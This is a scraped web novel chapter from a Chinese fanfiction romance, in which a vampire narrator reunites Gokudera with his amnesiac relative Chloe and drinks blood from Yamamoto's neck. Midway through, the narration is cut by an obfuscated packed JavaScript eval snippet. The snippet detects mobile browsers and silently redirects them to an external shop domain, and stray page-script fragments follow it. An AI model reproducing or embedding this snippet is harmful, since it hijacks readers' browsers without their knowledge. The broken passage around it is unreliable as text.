文趣网 > 都市小说 > 和彭格列雨守谈恋爱 > 7. 笨蛋山本同学
    二十六

    出乎意料,狱寺隼人拒绝了,他问我克洛伊如今的生活怎么样。

    “克洛伊阿姨是族中小辈的钢琴老师,现居英国,生活还算安逸。”我介绍克洛伊阿姨的日常,“她缺失的那段记忆,我们没有办法找回。”

    多年前族里的一对夫妻在意大利旅游,天降貌美伤员,他们的孩子纯粹是个颜控,想让克洛伊当她的血仆,一个发生在西方国度的意外小故事。

    现如今,我在东方国度,遇到了克洛伊的亲人,缘分确实是很奇妙。

    “这样就很好。”狱寺隼人呢喃道,“那段记忆对她来说更有可能是负担。”

    “好的,我明白了。”我颔首,用自己的思路处理问题,拿出手机当面按下通话键,“我打给另一位当事人问问意见。”

    狱寺隼人大惊失色:“喂!我不是说不用见面了吗?”

    我还没回答,山本武变身我的嘴替:“这只是狱寺的态度吧,失去记忆的克洛伊阿姨有权决定是否知道真相。”

    我给他一个赞扬的眼神,山本同学真是越来越懂我了。

    电话接通,所有人的呼吸变轻,生怕不小心出声说出什么错话。

    “多莉丝,日安。”电话那头传来的声音无端让人感受到温柔细腻,“找我是有什么事情,尽管说哦。”

    “日安。”我言简意赅,把事情的经过浓缩,“如果有机会见到克洛伊阿姨失忆前认识的人,你会做出什么选择?”

    “我会毫不犹豫选择和那个人见面。”克洛伊阿姨无比坚定,“虽然失去了所有记忆,但我总觉得有什么重要的人在等我。”

    “如果能了解到以前的我,我不会放弃这个机会。”

    狱寺隼人出声询问:“即使那段记忆不是什么美好的存在?”

    “当然,就算是痛苦的回忆,那也是属于我的过去。”

    二十七

    情感是复杂的存在,血族内部都素手无策的失忆症状,在亲眼见到狱寺隼人的时候,克洛伊的记忆伴随着头疼逐渐恢复。

    这些年的非同类相处生涯令克洛伊无论发生何种大事都能保持处变不惊,那双和狱寺隼人同款绿色的眸子充满各种不同的情绪,惊喜/怀念/慈爱……没有害怕或是惊慌失措。

    狱寺隼人经历了许多正常人无法接触到的生活,但终归只是一个十几岁的少年,面对这种场面,他一句话也说不出口。

    克洛伊带着微笑打消他的不安:“原来已经很久没见了,隼人完全长成了我想象中帅气的样子。”

    “还记得我吗,小时候教你弹琴的老师。”她张开双臂,“我想你已经知道了所有真相,愿意给我一个拥抱吗?”

    接下来的画面需要VIP,就不多加描述了。

    好吧,开个玩笑而已,是我们怕狱寺同学害羞,选择回避。

    后续发展是克洛伊阿姨选择留在日本,帮我分担照看幼崽。

    “他们离开后我反倒不习惯,在英国我也没有要事可做,多莉丝会介意吗?”

    “当然不会。”我不知道她为什么会先问我的意见,“教堂本身就是卡斯建造的,他同意就好。”

    克洛伊笑了笑,似是提醒:“没记错的话,卡斯先生是两年前来到日本。”

    我“嗯”了一声,在被父母带到日本不久后,他突然发消息说对这个国家的文化很感兴趣,决定过来住一段时间,这座教堂完工后,越来越多的幼崽开始在这边住下,带走了族里大多数的热闹声。

    卡斯神出鬼没:“在聊什么?”

    我顺势问道:“你有回英国的打算吗?”

    “我这不是刚去完,多莉丝准备赶我回去?”

    卡斯脸上笑意不变,我明白他是在开玩笑,否认他的假设:“就是感觉你在这呆了挺久,随便问问。”

    他意味深长望向我身后:“久嘛?对于我们两年不过是弹指之间,而人类……”

    “北条同学,我们一起回去?”

    “好。”我快速回复,接过卡斯递给我的黑色袋子,走到山本同学身侧,“走吧。”

    二十八

    我转身离开后,卡斯表情冷下来:“克洛伊,你猜到了多少?”

    “不多,只是觉得多莉丝在族中地位不低。”克洛伊没有害怕,将措辞整理得含糊。

    “什么时候察觉的?”

    “一开始卡斯先生跟着离开,我以为是您喜欢多莉丝,后来孩子们接二连三被接到并盛,我才开始发现不对劲。”

    “现在不是让她知道的时候,你明白我的意思。”

    “当然,我会遵循族里的规定。”

    克洛伊望向不远处,白发少年正踌躇不前,犹豫着要不要走过来。

    卡斯勾唇:“我刚刚对多莉丝说的那句话,对你同样适用。”

    “从鬼门关走过一趟后,死亡与我而言不再那么面目狰狞,人类不到百年的光阴正因短暂显得格外美好。”克洛伊朝狱寺隼人招手,用一句保证结束对话,“卡斯先生放心,不论失忆前后,我始终感谢族里为我做的一切,我会永远帮助你们。”

    怎么能不感谢,绝症哪是那么容易治好的,她存活的手段便是成为转化人,大概能维持两百年,时间一到身体彻底崩坏灭亡。

    血族送了份奇迹,给她安排住所,又帮她找回人生中最弥足珍贵的孩子,她能回报的除了血液和教学辅导,就是忠诚。

    二十九

    “袋子里如果不是重要物品,可以交给我拿。”山本武没有越界直接上手,或者是问袋子里装的何物。

    “是几瓶番茄汁。”我表示可以自己拿,“如果山本同学饿了,可以喝点补充营养。”

    山本武说他没有饥饿感,还问我要不要现在进食,他时刻准备好让我饱餐一顿。

    果然移动的血库就是方便,且山本同学相当上道,我完全没有拒绝的理由。

    借着树木的遮挡,我拉着他选择一块悄无声息的风水宝地,开餐。

    我随手把袋子挂在树枝上,有预感这次需求量比以往大,我让山本同学靠着树干支撑,以免待会因为失血过度眩晕摔倒。

    进入进食模式,大概是离上次喝山本同学的血有段时间,加上这两天忙前忙后,我感觉比之前都要渴望那份甜美,以往进食的牙齿长度属于人类可接受长度的虎牙,这次变得更加长,更加锐利。

    并且,我不再满足捧着他的手臂。

    那日雨天趴在他肩膀上的地方极具诱惑感,好想,好想从那个地方入口,人类身体不同部位的血液味道应该不同吧。

    山本同学都答应做我的血仆了,他也许不会拒绝……

    我大胆地提出要求,表示我想从脖颈处入口,山本同学先是一愣,然后答应了。

    非常好讲话的山本同学。

    我用一只手撑在他背后的树上,另一只手抚摸上他的脖子,感受脉搏跳动的旋律,他的心跳频率在加快,我安抚道:“别紧张,不会很痛的。”

    终于,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805899|210720||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我决定好在哪里下口,手停止探寻,置于他一侧的肩膀处,歪头埋在他的脖颈处,没有急着咬破皮肤,伸出舌头舔两下,像是医生扎针前的消毒程序。

    山本武喉结滚动,脖子上的经脉随之移动。

    我不满意:“别乱动。”

    颈部动脉和手臂吸血难度完全不是一个级别,一不小心就可以导致血呲啦一下喷涌而出,对普通人类危害极大,我可不想山本同学受到这种惊吓。

    至于为什么不吸食静脉,静脉血流通速度慢,又没有动脉血新鲜,谁家那血族在费劲吧啦吸半天连肚子都填不饱。

    三十

    两人的姿势离得更近,牙尖咬破皮肤的声音比之前都要明晰,山本武清楚地体验我带给他的奇妙感受。

    低温气息喷洒在他愈加沸腾的身体上,明明是自己的血液被抽离,山本武却得到极致的快感。

    我正在急切渴望他的血,进食时我总会不自觉将身体保持为更舒服的状态,两只手的摆放位置彻底改变,一手撑在他的胸口,一手抵住他的下巴,柔软的身体往他方向倾倒。

    山本武呼吸加重,手向后撑树,侧头不敢多看一眼,似是坐怀不乱的正人君子,但那双望向别处的眸子,没有半分朦胧与茫然,而是不符合他平日情绪的锋芒乍现,势在必得的浓厚占有欲搭配上那张脸……

    总爱笑眯眯用随和的言语交流,导致中和了他长相上的侵略性,狱寺沉静时柔顺了那份躁气,山本面无表情时则是气场格外骇人。

    他的骨相可以用锋利来形容,眉骨和鼻有力量感地在面部凸起,嘴唇属于单薄类型,下颚线冷硬绷紧,像是丛林中狩猎的捕食者。

    血族在夜晚的视力甚至比白天还要强,我晕乎乎抬眼一看,便是这幅模样,隐约听见“砰砰砰”不断加速的心跳声,是他的还是我的已经无法分辨。

    “山本同学。”我轻喊一声。

    他扭过头,恢复笑意,眼底亮晶晶的:“嗯,饱了吗?”

    “饱了,好像还有点晕碳。”山本同学好晃眼。

    “我背你回去吧。”他顿了顿,没有用之前的称呼,“汐……可以这样喊吗?”

    我手指勾住袋子轻车熟路爬上他的背:“可以,山本同学明明对大多数人都没有用敬语吧。”

    山本武对作为前辈的云雀恭弥都是直接喊姓氏,唯独对我是生疏的“北条同学”。

    “我以为汐会介意这方面,对大家都是敬称。”

    “不算在意,我很少用日语称呼别人,不想出错。”

    “既然如此,我们现在算是正式交换名字。”

    “阿武?”竹寿司店里的大家都是这样喊山本武的,我觉得这是个不错的称呼。

    “好狡猾,我也要加个音节——小汐?”

    “嗯,可以。”

    三十一

    山本武承认自己在见到卡斯后稍微有点心急,尤其是狱寺的那句话:“棒球笨蛋,提醒你一下,吻手礼在英国可不常见。”

    克洛伊到来后,卡斯并没有献上吻手礼,侧面印证他对于我的特别之处,卡斯是故意的。

    里包恩说在意大利文化中,吻手礼意味着忠诚。

    无论卡斯对我的感情究竟是什么,山本武都意识到自己与我的关系还算不上亲近,仍然处在以姓氏相称的阶段,他决定再往前踏出一步,好在结果没有令他失望。

    他偏头盯了几秒,我闭着眼睛毫无防备地趴在他肩上,已经安然入睡,他继续稳步前行。